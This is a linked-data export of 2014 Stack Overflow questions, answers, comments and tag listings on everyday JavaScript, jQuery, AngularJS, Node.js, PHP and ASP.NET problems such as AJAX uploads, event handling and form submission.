comment on: http://stackoverflow.com/q/25551675
has text: What do you want to happen as a result of the jQuery ajax call? MVC and Web API controllers can also process ajax requests, Web API is particularly powerful and flexible.

http://stackoverflow.com/q/25619668
tagged with: php
answer count: 1
has comment: http://stackoverflow.com/comment/40024871
has comment: http://stackoverflow.com/comment/40026251
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25621344
has title: Post local file using XMLHttpRequest and FileList
tagged with: javascript
has comment: http://stackoverflow.com/comment/40024543
type: Question
has body: I'm trying to send an image to the server and get it's new name back (I move and rename the file on the server). Can I use the FileList object for this? I tried the following code, but my response is empty, although I get no errors. HTML: &lt;input type="file" name="upfile" onchange="SelectImage(this);" /&gt; JavaScript: function SelectImage(obj) { var req = new XMLHttpRequest(); req.open('POST', 'upload_image.php', true); req.setRequestHeader('Content-type', 'multipart/form-data'); req.send(obj.files); req.onreadystatechange = function() { if (req.readyState == 4 &amp;&amp; req.status == 200) console.log(req.responseText); }; } PHP: try { // all kind of checks to make sure the file is valid // else throw a RuntimeException() // then the next code: $movedFile = sprintf('./uploads/%s.%s', sha1_file($_FILES['upfile']['tmp_name']), $ext // derived from mime type check ); if (!move_uploaded_file($_FILES['upfile']['tmp_name'], $movedFile)) { throw new RuntimeException('Failed to move uploaded file.'); } echo $movedFile; } catch (RuntimeException $e) { echo $e-&gt;getMessage(); }
has comment: http://stackoverflow.com/comment/40026129
accepted answer: http://stackoverflow.com/a/25621344
score: 0

http://stackoverflow.com/comment/39931237
has text: @georg ha! yes it is important to me what the function does. Just to fill you in, I want to run a validation on the content of the textbox. :)
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25568818

http://stackoverflow.com/comment/40089393
score: 0
type: Comment
has text: This worked for me! I had forgotten to add the return to the onsubmit! Thanks.
comment on: http://stackoverflow.com/a/25631730
type: AnswerComment

http://stackoverflow.com/q/25632729
has answer: http://stackoverflow.com/a/25646474
type: Question
has answer: http://stackoverflow.com/a/25632858
tagged with: javascript
has comment: http://stackoverflow.com/comment/40049099
has body: I add addEventListener with a loop to a few anchor elements productions like this: for(var j=0;j&lt;productions.length;j++){ productions[j].addEventListener('click',production_e,false); } Problem: This works but when I change it to 'mousedown' it follows the default anchor link after doing all the XHR fetching. function production_e() tests for which "production" is clicked and then checks to see if it contains the description of the production. If not, it initiates a XHR to retrieve the description and inserts it into the production element. function production_e(e) { e.preventDefault(); if(!current_show) { current_show = this; if(!this.getElementsByClassName('production_description')[0]) get_production_article(this,show_description); } } get_production_article = function(production,callback) { var req = new XMLHttpRequest(); req.onreadystatechange = function(e) { if(req.readyState === 4 &amp;&amp; req.status === 200) { install_article(production,req.responseText); callback(production); } } var pl = production.getElementsByClassName('production-link')[0]; req.open('GET',pl.href + '-article',true); req.send(); } The function install_article just inserts the responseText into the DOM and the callback function, which is show_description sets the styling to expose the element. When I use mousedown, however, a left mouse click seems to perform all the same tasks but then follows the default anchor link to another page. Interestingly enough, a right mouse click works as I would expect the left mouse click to perform. I'm guessing that somehow the preventDefault() function is not passing through or is re-triggered but I don't see how that is happening. What am I missing?
answer count: 2
downvote count: 4
has title: addEventListener with 'mousedown' different than with 'click'
tagged with: events
favorite count: 0
tagged with: ajax
accepted answer: http://stackoverflow.com/a/25632858
score: -3
tagged with: xmlhttprequest
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25646474
upvote count: 1

http://stackoverflow.com/comment/40126519
comment on: http://stackoverflow.com/a/25669108
has text: on chrome you need as well .workWrapper { position: relative; } I've updated the fiddle
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25576709
has comment: http://stackoverflow.com/comment/39946658
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25575680
has comment: http://stackoverflow.com/comment/39946632
has body: In general, inline JavaScript works for HTMLImports on all supported platforms. There must be some other root cause for your symptoms.
downvote count: 0

http://stackoverflow.com/comment/40074093
score: 0
has text: If devicePixelRatio is zero, I would consider it as a bug in web browser. Expecting buggy browsers is not a good attitude, when coding webapps.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25646952

http://stackoverflow.com/comment/40192963
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25696607
has text: It might be, but it's unclear what you're asking.
score: 0

http://stackoverflow.com/comment/40130544
type: AnswerComment
comment on: http://stackoverflow.com/a/25677186
type: Comment
has text: Yeah, but with this object you can loop through the items in it if you need to by doing a [for.. in](http://stackoverflow.com/questions/684672/loop-through-javascript-object) loop or you can call properties by nae if you need to do that. I like it better than an array, anyday. At that point you can even start putting functions on the object and making it control itself, giving you the data you want and modifying or displaying it even return you a list of properties or values.
score: 0

http://stackoverflow.com/q/25682702
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25686559
has answer: http://stackoverflow.com/a/25682926
favorite count: 0
has title: Replacement for try/catch in nodejs due to performance overhead
possible better answer: http://stackoverflow.com/a/25682926
upvote count: 1
tagged with: node.js
has body: I am currently using try/catch to handle JSON.parse errors. But I have just recently found out after reading some best practices that using try/catch on nodejs has some performance overhead. Is the performance overhead fixed already and is there another way to avoid errors on JSON.parse without using try/catch?
has comment: http://stackoverflow.com/comment/40138802
type: AnsweredQuestion
tagged with: performance
score: 1
linked to: http://stackoverflow.com/q/4467044
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/25686559
has comment: http://stackoverflow.com/comment/40138745
type: Question
tagged with: try-catch
answer count: 2

http://stackoverflow.com/comment/40052512
score: 0
type: Comment
has text: Actually, that page states: `Content scripts themselves do not need to be whitelisted.` So I do not think it is a problem of whitelisting the content script.
comment on: http://stackoverflow.com/a/25634607
type: AnswerComment

http://stackoverflow.com/q/25584060
accepted answer: http://stackoverflow.com/a/25584989
tagged with: angularjs
type: Question
tagged with: angularjs-module
has answer: http://stackoverflow.com/a/25584838
has title: Correct way of wrapping javascript class in AngularJS module and inject angular services
score: 4
possible better answer: http://stackoverflow.com/a/25584838
answer count: 2
has answer: http://stackoverflow.com/a/25584989
has body: Inside an AngularJS module I'm developing, I have a Canvas class defined as: angular.module("myModule", []) .factory("Canvas", function() {return Canvas;}); var Canvas = function(element, options) { this.width = options.width || 300; this.height = options.height || 150; this.HTMLCanvas = $(element).get(0); this.HTMLCanvas.width = canvas.width; this.HTMLCanvas.height = canvas.height; this.objects = []; //Initialize canvas this.init(); } Canvas.prototype.init = function() {/*...*/}; Canvas.prototype.otherMethod = function() {/*...*/}; Now, the Canvas class is never instantiated from inside the module, but rather from an AngularJS controller, like so: angular.module("myApp.controllers", ["myModule"]) .controller("MainCtrl", ["Canvas", function(Canvas) { var canvas = new Canvas("#canvas", {/*options object*/}); //... }]); And so far everything works like a charm. But then I realized that I need the $q service in my canvas object, and since I don't want to resort to injecting it into my controller and then passing it to the Canvas constructor, I thought of modifying my module like so: angular.module("myModule", []) .factory("Canvas", ["$q", function(q) { var that = this; that.q = q; return function() { Canvas.apply(that, arguments); }; }]); var Canvas = function(element, options) { console.log(this.q, element, options); this.width = options.width || 300; this.height = options.height || 150; this.HTMLCanvas = $(element).get(0); this.HTMLCanvas.width = canvas.width; this.HTMLCanvas.height = canvas.height; this.objects = []; //Initialize canvas this.init(); } Canvas.prototype.init = function() {/*...*/}; Canvas.prototype.otherMethod = function() {/*...*/}; The initial console.log correctly logs the $q service and the Canvas's original arguments, element and options, but breaks on the call to its init method: TypeError: undefined is not a function I suppose that's because this is no longer an instance of Canvas but rather of the anonymous function function(q) {...}. Any hint…
upvote count: 4
type: AnsweredQuestion
downvote count: 0
tagged with: javascript
favorite count: 0

http://stackoverflow.com/q/25594889
has answer: http://stackoverflow.com/a/25595102
tagged with: highcharts
downvote count: 0
tagged with: javascript
score: 1
tagged with: asp.net
type: Question
tagged with: http://stackoverflow.com/tag/html
has body: i am trying to implement High Chart in .aspx page so i tried below code in .aspx page <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="HighChartjs.WebForm1" %> after running this code in browser chart is not loading ( is not visible in browser ) ... where i made error thanks......
favorite count: 0
upvote count: 1
answer count: 1
type: UnansweredQuestion
has title: why HighChart is not visible in asp.net

http://stackoverflow.com/comment/40104237
has text: might be because a simple search for [jquery get clicked elements href](https://www.google.co.in/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#safe=active&q=jquery%20get%20clicked%20elements%20href) would have given the answer - anyway the downvote was not from me
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25663541

http://stackoverflow.com/comment/40103508
comment on: http://stackoverflow.com/a/25663148
score: 0
type: AnswerComment
has text: use logout_success.php instead of connectivity.php
type: Comment

http://stackoverflow.com/q/25616565
answer count: 2
possible better answer: http://stackoverflow.com/a/25616708
has answer: http://stackoverflow.com/a/25616708
tagged with: twitter-bootstrap
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40018879
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40018886
has answer: http://stackoverflow.com/a/25616631
type: Question
has body: This is the html for my website. I would like to add this image slider:. I have one problem, for some reason all I get is 4 bullet point and a error img picture next to it. Could you look at my html and see what you could do to help. -Thanks http://jsfiddle.net/lasquish/hL7vLcd5/ This is the Script:
has title: Image slider not loading properly
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25616631
has comment: http://stackoverflow.com/comment/40018906
tagged with: jquery
has comment: http://stackoverflow.com/comment/40018819
score: 0

regex
tags question: http://stackoverflow.com/q/25557036
tags question: http://stackoverflow.com/q/25663683
tags question: http://stackoverflow.com/q/25687526
tags question: http://stackoverflow.com/q/25646461
tags question: http://stackoverflow.com/q/25621072
tags question: http://stackoverflow.com/q/25655788
tags question: http://stackoverflow.com/q/25631111
tags question: http://stackoverflow.com/q/25606731
tags question: http://stackoverflow.com/q/25673499
tags question: http://stackoverflow.com/q/25562060
tags question: http://stackoverflow.com/q/25670348
tags question: http://stackoverflow.com/q/25647394
tags question: http://stackoverflow.com/q/25583627
tags question: http://stackoverflow.com/q/25587005
tags question: http://stackoverflow.com/q/25576352
tags question: http://stackoverflow.com/q/25609219
tag name: regex
tags question: http://stackoverflow.com/q/25698977
tags question: http://stackoverflow.com/q/25608140
tags question: http://stackoverflow.com/q/25588829
tags question: http://stackoverflow.com/q/25586792
tags question: http://stackoverflow.com/q/25621191
tags question: http://stackoverflow.com/q/25647682
tags question: http://stackoverflow.com/q/25626135
tags question: http://stackoverflow.com/q/25598375
tags question: http://stackoverflow.com/q/25656858
tags question: http://stackoverflow.com/q/25556559
tags question: http://stackoverflow.com/q/25628977
tags question: http://stackoverflow.com/q/25584503
tags question: http://stackoverflow.com/q/25669322
tags question: http://stackoverflow.com/q/25570290
tags question: http://stackoverflow.com/q/25644443
tags question: http://stackoverflow.com/q/25632144
tags question: http://stackoverflow.com/q/25642473
tags question: http://stackoverflow.com/q/25665238
tags question: http://stackoverflow.com/q/25691582
tags question: http://stackoverflow.com/q/25679664
tags question: http://stackoverflow.com/q/25665095
tags question: http://stackoverflow.com/q/25594302
tags question: http://stackoverflow.com/q/25620365
tags question: http://stackoverflow.com/q/25673110
tags question: http://stackoverflow.com/q/25552695
tags question: http://stackoverflow.com/q/25623479
tags question: http://stackoverflow.com/q/25661394
tags question: http://stackoverflow.com/q/25647966
tags question: http://stackoverflow.com/q/25589600
tags question: http://stackoverflow.com/q/25602489
tags question: http://stackoverflow.com/q/25583711
tags question: http://stackoverflow.com/q/25676165
tags question: http://stackoverflow.com/q/25614825
tags question: http://stackoverflow.com/q/25560933
tags question: http://stackoverflow.com/q/25665380
tags question: http://stackoverflow.com/q/25588393
tags question: http://stackoverflow.com/q/25574908
tags question: http://stackoverflow.com/q/25576475
tags question: http://stackoverflow.com/q/25623682
tags question: http://stackoverflow.com/q/25686509
tags question: http://stackoverflow.com/q/25645419
tags question: http://stackoverflow.com/q/25558946
tags question: http://stackoverflow.com/q/25629006
tags question: http://stackoverflow.com/q/25607669
tags question: http://stackoverflow.com/q/25607328
tags question: http://stackoverflow.com/q/25656861
tags question: http://stackoverflow.com/q/25595403
tags question: http://stackoverflow.com/q/25669461
tags question: http://stackoverflow.com/q/25675685
tags question: http://stackoverflow.com/q/25682730
tags question: http://stackoverflow.com/q/25677276
tags question: http://stackoverflow.com/q/25677661
tags question: http://stackoverflow.com/q/25702805
tags question: http://stackoverflow.com/q/25673926
tags question: http://stackoverflow.com/q/25631623
tags question: http://stackoverflow.com/q/25689153
tags question: http://stackoverflow.com/q/25563201
tags question: http://stackoverflow.com/q/25665500
tags question: http://stackoverflow.com/q/25667268
tags question: http://stackoverflow.com/q/25670803
tags question: http://stackoverflow.com/q/25586299
tags question: http://stackoverflow.com/q/25659480
tags question: http://stackoverflow.com/q/25703360

angular-directive
tags question: http://stackoverflow.com/q/25680865
type: Tag
tag name: angular-directive

http://stackoverflow.com/q/25669893
has comment: http://stackoverflow.com/comment/40116077
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40116124
score: -3
has answer: http://stackoverflow.com/a/25670160
type: Question
has comment: http://stackoverflow.com/comment/40115708
answer count: 1
tagged with: javascript
has body: I have 5 divs with id="correctAnswer". I have an array of 5 elements. How to add these 5 elements in 5 divs. I have this logic. var answers =["David Bowie","AM","Australia","Boneface","Sound City"]; for (i=1; i&lt;=numQues; i++) { document.getElementById("correctAnswer").innerHTML="correctanswer:"+answers[i-1]; } &lt;div id="correctAnswer"&gt;&lt;/div&gt; &lt;/div&gt;
has comment: http://stackoverflow.com/comment/40115661
favorite count: 0
has title: Add different texts to divs with same id using javascript
downvote count: 3
has comment: http://stackoverflow.com/comment/40115668
tagged with: http://stackoverflow.com/tag/html
tagged with: css
upvote count: 0

http://stackoverflow.com/a/25675718
has body: In example 1, getFeaturedData is returning a promise. In example 2, it returns nothing (i.e. undefined). However, the timing when "data" is set is unchanged. You're setting the "data" value in the completion handler of the XHR in both cases. Most likely the difference lies in where you had set your breakpoint. In neither case will "data" be set at the end of getFeaturedData, or at the end of the calling block of code. Instead, it will be set sometime later when the XHR promise completes. A couple other notes: Approach 2 can return the result of promise.then() (which is another promise) so that the caller can actually schedule work to happen once data is set. In both cases, the "promise" variable is kind of extraneous, or it could be set to the result of either getFeaturedData().then(), or xhr().then().
answers question: http://stackoverflow.com/q/25637870
score: 0
type: Answer

http://stackoverflow.com/q/25682744
score: 0
answer count: 1
tagged with: jquery
tagged with: ajax
has comment: http://stackoverflow.com/comment/40138780
has comment: http://stackoverflow.com/comment/40138817
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40138722
tagged with: forms
type: Question
accepted answer: http://stackoverflow.com/a/25682933
has title: Jquery form submit return false not working
has comment: http://stackoverflow.com/comment/40138979
has comment: http://stackoverflow.com/comment/40138778
has body: I'm including this form using ajax: &lt;form action="" method="post"&gt; &lt;input type="number" name="user_id" placeholder="user id" id="user_id_input"/&gt; &lt;input type="submit" value="update"&gt; &lt;/form&gt; My code: $.get("application/views/beheer/html/"+widgetName+"div.html", function(response){ $widgetDiv.html("&lt;div class=\"widget_"+widgetName+"\" id=\""+widgetArray.length+"\"&gt;"+response+"&lt;/div&gt;"); var $form = $(".widget_"+widgetName).find("form"); $form.submit(function( event ){ UpdateObjectSettings($form); return false; }); }); function UpdateObjectSettings($form){ //var id = $form.parent().attr("id"); //widgetArray[(id - 1)].Update($form); return false; } If I enter an alert inside the $form.submit it still works. If I decomment the lines inside the UpdateObjectSettings the return false inside the submit won't work. Thanks for any help.
tagged with: javascript
has answer: http://stackoverflow.com/a/25682933

http://stackoverflow.com/a/26016814
type: Answer
score: 6
has body: I think you are looking for something like: https://github.com/jquery/globalize Above link will take you to git project page. This is a js library contributed by Microsoft. You should give it one try and try to use formt method of that plugin. If you want to study this plugin, here is the link for the same: http://weblogs.asp.net/scottgu/jquery-globalization-plugin-from-microsoft I hope this is what you are looking for and will resolve your problem soon. If it doesn't work, let me know.
has comment: http://stackoverflow.com/comment/79910196
downvote count: 0
answers question: http://stackoverflow.com/q/25645163
upvote count: 6

http://stackoverflow.com/comment/40127217
score: 0
has text: Well when I activated the extension it did nothing, which is why I'm here, I probably should have made that clearer.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25667558

http://stackoverflow.com/a/25686837
has body: use document.ready a function to execute when the DOM is fully loaded. wrap the code inside document ready function $(document).ready(function () { // write you code // $('#check').click(function () { });
answers question: http://stackoverflow.com/q/25686791
type: Answer
score: 2
downvote count: 0
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25686791
type: AcceptedAnswer

http://stackoverflow.com/q/25578579
possible better answer: http://stackoverflow.com/a/28404710
tagged with: mongodb
answer count: 2
has answer: http://stackoverflow.com/a/25578871
has comment: http://stackoverflow.com/comment/39957567
downvote count: 0
tagged with: mongoose
tagged with: javascript
has comment: http://stackoverflow.com/comment/39950073
has body: I've a big logic problem using Node/Mongoose/Socket.io ... Let's say I got a Server model which is often called at the same time in my application, some calls involve updating datas in the model. db.Server.findOne({_id: reference.server}).exec(function(error, server) { catches.error(error); if (server !== null) { server.anything = "ahah"; server.save(function(error) { }); } } Sometimes, 2 people will call this at the same time, while the first person will save() the other guy could already have findOne the "server" and got the "old object" which isn't up-to-date and save() it. The big problem here is when the second guy will save() the "server" (the "old object") it will literally overwrite the changes of the first one ... You can imagine the big conflicts it will create on my application. I thought about changing all the save() methods to update() which get rid of the problem but at some point in the project it's very tricky to use the update() directly, and not as practical. Is there a way to "lock" the findOne() call while someone is updating it ? Like when you findOne() you also say "hey i will update this soon so don't let people find it right now" (with Mongoose, or even MongoDb) It's been a while i'm searching i don't find any answer :( Hope you understood my problem ;) thank you !
favorite count: 0
has comment: http://stackoverflow.com/comment/39950078
has answer: http://stackoverflow.com/a/28404710
tagged with: node.js
linked to: http://stackoverflow.com/q/28386843
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39957927
has comment: http://stackoverflow.com/comment/39950143
has comment: http://stackoverflow.com/comment/45143748
upvote count: 7
tagged with: socket.io
type: Question
has comment: http://stackoverflow.com/comment/61634562
accepted answer: http://stackoverflow.com/a/25578871
has comment: http://stackoverflow.com/comment/39958172
has title: Mongoose asynchronous multiple save conflicts
score: 7
linked to: http://stackoverflow.com/q/11076272
has comment: http://stackoverflow.com/comment/39950089

http://stackoverflow.com/a/25657138
type: Answer
answers question: http://stackoverflow.com/q/25657119
has comment: http://stackoverflow.com/comment/40093084
has body: document.getElementsByTagName('YOUR_NAME_HERE')[0] should be able to get the element for you.
score: 0

http://stackoverflow.com/comment/40121753
comment on: http://stackoverflow.com/a/25672551
type: AnswerComment
has text: There is one more thing, few of the values may be `insert` not `update`. Thats why I had `{upset: true}` in my code.
score: 0
type: Comment

http://stackoverflow.com/comment/40178319
has text: try .src="about:blank" instead if .src="" . It will load an empty page instead of showing the current directory. If that isn't the problem you are experiencing, you need to explain in more detail. If you only want to change the src when the frame isn't hidden, you could use a variable and if statement to do that??
score: 0
comment on: http://stackoverflow.com/q/25703050
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39915315
type: QuestionComment
comment on: http://stackoverflow.com/q/25560400
has text: Can you remove by name?
score: 0
type: Comment

http://stackoverflow.com/comment/39907895
type: QuestionComment
has text: What exactly is your question?
comment on: http://stackoverflow.com/q/25556526
score: 0
type: Comment

http://stackoverflow.com/q/25583641
has comment: http://stackoverflow.com/comment/48919912
linked to: http://stackoverflow.com/q/6229769
has title: Set value of input instead of sendKeys() - Selenium WebDriver nodejs
downvote count: 0
has answer: http://stackoverflow.com/a/46838535
has comment: http://stackoverflow.com/comment/39958729
has answer: http://stackoverflow.com/a/57958515
possible better answer: http://stackoverflow.com/a/25588578
has comment: http://stackoverflow.com/comment/39958993
favorite count: 0
has answer: http://stackoverflow.com/a/25588578
answer count: 9
has answer: http://stackoverflow.com/a/55871593
has comment: http://stackoverflow.com/comment/39958870
has answer: http://stackoverflow.com/a/35207490
score: 67
has answer: http://stackoverflow.com/a/67333640
has answer: http://stackoverflow.com/a/25584027
tagged with: node.js
upvote count: 67
tagged with: selenium-webdriver
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39958784
type: Question
has body: I have a long string to test and sendKeys() takes too long. When I tried to set the value of the text the program crashes. I know the Selenium sendKeys() is the best way to test the actual user input, but for my application it takes too much time so I am trying to avoid it. Is there a way to set the value right away? See this quick example: var webdriver = require('selenium-webdriver'); var driver = new webdriver.Builder(). withCapabilities(webdriver.Capabilities.chrome()). build(); driver.get('http://www.google.com'); // find the search input field on google.com inputField = driver.findElement(webdriver.By.name('q')); var longstring = "test"; // not really long for the sake of this quick example // this works but is slow inputField.sendKeys(longstring); // no error but no values set inputField.value = longstring; // Output: TypeError: Object [object Object] has no method 'setAttributes' inputField.setAttributes("value", longstring);
has answer: http://stackoverflow.com/a/60676712
accepted answer: http://stackoverflow.com/a/25584027
tagged with: javascript
has answer: http://stackoverflow.com/a/43404924

http://stackoverflow.com/a/25689279
accepted answer of: http://stackoverflow.com/q/25688229
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25688229
type: Answer
has body: If in controller you want to use it like a promise object, I mean: $scope.update = function () { membersService.updateMembers($scope.updatedMembers).then(function(results) { alert(results); }, function(results) { alert(results); }); }; then you should return promise object, $http get method itself is returning promise. 'use strict'; app.factory('membersService', ['$http', 'ngAuthSettings', function ($http, ngAuthSettings) { var serviceBase = ngAuthSettings.apiServiceBaseUri; var membersServiceFactory = {}; var _getMembers = function () { return $http.get(serviceBase + 'api/members'); }; var _updateMembers = function(updatedMembers) { $http.post(serviceBase + 'api/Members/UpdateMembers', updatedMembers, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } });; }; membersServiceFactory.getMembers = _getMembers; membersServiceFactory.updateMembers = _updateMembers; return membersServiceFactory; }]);

http://stackoverflow.com/comment/40013862
comment on: http://stackoverflow.com/q/25613810
has text: Hi and welcome to StackOverflow. Can you tell us what exactly did not work ?
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/q/25649749
favorite count: 0
has comment: http://stackoverflow.com/comment/40079197
type: UnansweredQuestion
has body: I have this code that takes the data, shows in the html and updates it, however the data is undefined here: data: { id: clickedBox.data('id'), nome: clickedBox.data('nome'), email: clickedBox.data('email') } The full code below: $.ajax({ type: 'GET', //async: false, url: 'https://app.myurl.com/reservas', success:function(reservas){ reservas.forEach (function (reserva) { var reservasHTML = []; reservasHTML.push(' '); reservasHTML.push(' '); reservasHTML.push(' ' + reserva._id + ' '); reservasHTML.push(' ' + reserva.nome + ' '); reservasHTML.push(' ' + reserva.email + ' '); reservasHTML.push(' '); $('tbody').append(reservas.join("")); }) }, error:function(e){ console.log(e); } }); $(function(){ $('body').on('click', '.salvar', function(){ alert('Salvo!'); var clickedBox = $(this); $.ajax({ type: 'PUT', url: 'http://localhost/datas', //async: false, data: { id: clickedBox.data('id'), nome: clickedBox.data('nome'), email: clickedBox.data('email') }, sucess:function (success) { console.log('success') }, error:function(err) { console.log(err); } }); }); }); If anyone can help me or direct me. I'm stuck in this for hours :X Thanks :)
tagged with: put
answer count: 0
score: 1
upvote count: 1
has title: Data is undefined
type: Question
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40079527
has comment: http://stackoverflow.com/comment/40079434
tagged with: ajax
tagged with: get
has comment: http://stackoverflow.com/comment/40079290
has comment: http://stackoverflow.com/comment/40079456
has comment: http://stackoverflow.com/comment/40079581
downvote count: 0

http://stackoverflow.com/comment/86042900
has text: I can't get this to work either. It does not fire if I change the dimensions of an element using JS or even if the element is responsive and changes dimensions due to window size change
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25824190

http://stackoverflow.com/comment/40017648
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25615751
has text: Please Paste the code in right format.
score: 0

http://stackoverflow.com/comment/40269026
type: Comment
has text: try step by step it should be something like, views:{ 'content@': { templateUrl: 'home.html', controller:'HomeController' } }
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25694707

http://stackoverflow.com/q/25679658
type: Question
has comment: http://stackoverflow.com/comment/40134471
tagged with: javascript
has comment: http://stackoverflow.com/comment/40134255
has comment: http://stackoverflow.com/comment/40134287
score: 0
answer count: 1
tagged with: asp.net-ajax
tagged with: jquery
tagged with: unobtrusive-validation
has comment: http://stackoverflow.com/comment/40133644
has answer: http://stackoverflow.com/a/25682882
accepted answer: http://stackoverflow.com/a/25682882
has comment: http://stackoverflow.com/comment/40133484
tagged with: asp.net-mvc-4
type: AnsweredQuestion
has body: This is my Model [Required(ErrorMessage="Current password is required")] [Remote("IsCorrectOldPassword", "Account", ErrorMessage = "The password you gave is incorrect.")] [DataType(DataType.Password)] [Display(Name = "Current Password")] public string OldPassword { get; set; } [Required] [StringLength(20, ErrorMessage = "The {0} must be at least {2} characters long.", MinimumLength = 6)] [DataType(DataType.Password)] [Display(Name = "New Password")] public string NewPassword { get; set; } this is my view @using (Ajax.BeginForm("ChangePassword", "Account", new AjaxOptions { HttpMethod = "POST", OnSuccess = "AfterSave()", UpdateTargetId = "formcontents" }, new { @id = "formSavePwd" })) { @Html.AntiForgeryToken() @Html.ValidationSummary(true) @@Html.HiddenFor(m => m.UserId)@ @* Change Password Form *@ @Html.LabelFor(m => m.OldPassword) @Html.PasswordFor(m => m.OldPassword, new { @enabled = true, maxlength = 20, size = 20 }) @Html.ValidationMessageFor(m => m.OldPassword) @Html.LabelFor(m => m.NewPassword) @Html.PasswordFor(m => m.NewPassword) @* @Html.ValidationMessageFor(m => m.NewPassword)*@ and this is my controller public ActionResult ChangePassword(LocalPasswordModel passwordModel) { if (ModelState.IsValid) { var user = new FcpUserDto(); user.ClientId = (Int64) SessionObjects.ClientId; user.ClientKey = Guid.NewGuid().ToString(); user.LoginPassword = passwordModel.NewPassword; user.DateModified = DateTime.Now; user.UserId = (long) passwordModel.UserId; StatusDto statusDto = _FcpEndpoint.ChangePassword(user); //return Json(true, JsonRequestBehavior.AllowGet); } else { var model = new LocalPasswordModel(); var languageItems = (from ResourceLabels.UserManagementlabels resourceLabel in Enum.GetValues(typeof(ResourceLabels.UserManagementlabels)) select new FcpLanguageItemsDto { ClientId = SessionObjects.ClientId, LanguageId = SessionObjects.ClientLanguageId, ObjectId = (long)resourceLabel, ObjectType = (short)EnumObjectType.SRM_SCREEN_LABELS, TokenId = (long)EnumPhrase.L…
has comment: http://stackoverflow.com/comment/40133940
has comment: http://stackoverflow.com/comment/40134801
has title: how to handle remote attribute validation in controller submit method properly
has comment: http://stackoverflow.com/comment/40134526

http://stackoverflow.com/comment/40101422
comment on: http://stackoverflow.com/a/25661770
has text: this is because inputbox focusout event already triggered on suggect box click event. it's not complete, just solution for your purpose. actually, you should handle body click event for hiding suggect box within which, you should check input box focus state and suggect box hover state.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/40062964
score: 0
comment on: http://stackoverflow.com/a/25640631
type: Comment
has text: then again, the data-url can be change in the dev-tool, so that means the data will be be sent to the other url?
type: AnswerComment

http://stackoverflow.com/q/25672155
tagged with: meteor
favorite count: 0
linked to: http://stackoverflow.com/q/17306385
has answer: http://stackoverflow.com/a/25672551
type: AnsweredQuestion
score: 3
upvote count: 3
type: Question
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25672551
has title: Meteor: Updating multiple profile values
answer count: 1
has body: It is very straightforward implementation but may be there is some problem with my syntax here: Template.userProfilePage.events({ 'submit #profile-page': function(event, template) { event.preventDefault(); var name = template.find('#fullName').value, address = template.find('#address').value, company = template.find('#company').value, otherField = template.find('#other').value; alert(name); Meteor.users.update( { _id:Meteor.user()._id }, { $set: { "profile.name":name, "profile.address":address, "profile.company":company, "profile.other":other } }, { upsert: true }, { multi: true } ); return false; } }); Template contains normal html pages. It always throws error: RangeError: Maximum call stack size exceeded.

if-statement
tags question: http://stackoverflow.com/q/25626480
tag name: if-statement
type: Tag
tags question: http://stackoverflow.com/q/25663244
tags question: http://stackoverflow.com/q/25608725
tags question: http://stackoverflow.com/q/25551975
tags question: http://stackoverflow.com/q/25711720
tags question: http://stackoverflow.com/q/25698940
tags question: http://stackoverflow.com/q/25687932
tags question: http://stackoverflow.com/q/25694796
tags question: http://stackoverflow.com/q/25619685
tags question: http://stackoverflow.com/q/25607213

http://stackoverflow.com/q/25610030
has answer: http://stackoverflow.com/a/25610432
has comment: http://stackoverflow.com/comment/40007239
type: Question
tagged with: twitter-bootstrap
linked to: http://stackoverflow.com/q/448981
accepted answer: http://stackoverflow.com/a/25610432
score: 0
has body: I'm trying to add a class to a bootstrap modal when a button is clicked. Nothing fancy except that there is only one modal which is populated with JSON content. To make my script working properly I need top add some identifier to the modal so the script knows which modal is open. The modal looks like this: ... content from JSON ... The modal is opened like this: $('.trigger-cart').click(function(e){ e.preventDefault(); var $this = $(this); var url = $this.data('handle') + '/?format=json'; var vid = $this.data('vid'); quick_shop(url, vid); }); The function which is triggered on button click is this: function quick_shop(url, vid){ $('#shop-modal').addClass(vid); $.getJSON(url, function (data){ $('#shop-modal').modal('show'); // do stuff.... What i try to do is to add vid as a class to the opened modal. As I tried with this $('#shop-modal').addClass(vid); I also tried stuff like this: $('#shop-modal').modal('show').addClass(vid); This doesn't work. Does anyone know how to do that?
answer count: 1
has title: Click button run function and addClass
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40007629
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40007181

http://stackoverflow.com/comment/39933497
type: AnswerComment
comment on: http://stackoverflow.com/a/25567435
type: Comment
score: 2
